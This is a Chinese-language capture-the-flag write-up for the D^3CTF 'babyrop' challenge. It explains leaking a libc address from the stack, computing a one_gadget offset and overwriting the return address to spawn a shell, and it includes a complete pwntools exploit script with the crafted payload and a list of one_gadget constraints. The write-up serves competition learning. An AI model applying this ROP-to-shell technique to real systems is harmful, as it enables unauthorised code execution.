D^3CTF babyrop 经验总结

思路:
调试时发现在栈中有一个libc_start_main的地址
D^3CTF babyrop 经验总结_第1张图片
可以根据这个地址算出距one_gadget 的偏移
在这里插入图片描述
得到这个偏移后再让libc_start_main这个地址加上这个偏移即可得到one_gaget的地址, 之后再用这个地址覆盖ret即可getshell, 需要注意的是要满足one_gadget的约束条件, 我选则的是偏移为0x4526a 处的one_gadget, 所以需要保证[rsp + 0x30] == NULL 满足

调用的相关函数:

使栈中的数据相加
D^3CTF babyrop 经验总结_第2张图片
调整 “栈指针”, 使"栈指针"想上移动
D^3CTF babyrop 经验总结_第3张图片
向栈中写入零
D^3CTF babyrop 经验总结_第4张图片

还需要注意的是检查的数据的类型是无符号数, 在多次调用0x28指令后
前三个入栈的指令都无法执行, 所以要通过其它指令来达到写零与覆写ret的目的
D^3CTF babyrop 经验总结_第5张图片

EXP:

from pwn import *

context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
context.log_level='debug'
debug = 1
d = 1

execve = "./babyrop"
if debug == 1:
	p = process(execve)
	if d == 1:
		gdb.attach(p)
else:
	p = remote("106.54.67.184", 15924)

#0x28 -> *(_DWORD*)(a3 + 16) = 0
#0x42 -> *a1 - 8
#0x34 -> *a1 - 8, copy stack data

payload = '\x28\x28\x28' + '\x34'*12 + '\x56' + p32(0x24a3a) + '\x21' + '\x34\x34\x34\x34\x34'
p.sendline(payload)

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
    [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
	[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
	 [rsp+0x70] == NULL
'''

raw_input()

p.interactive()

复现结果:
D^3CTF babyrop 经验总结_第6张图片

你可能感兴趣的:(PWN)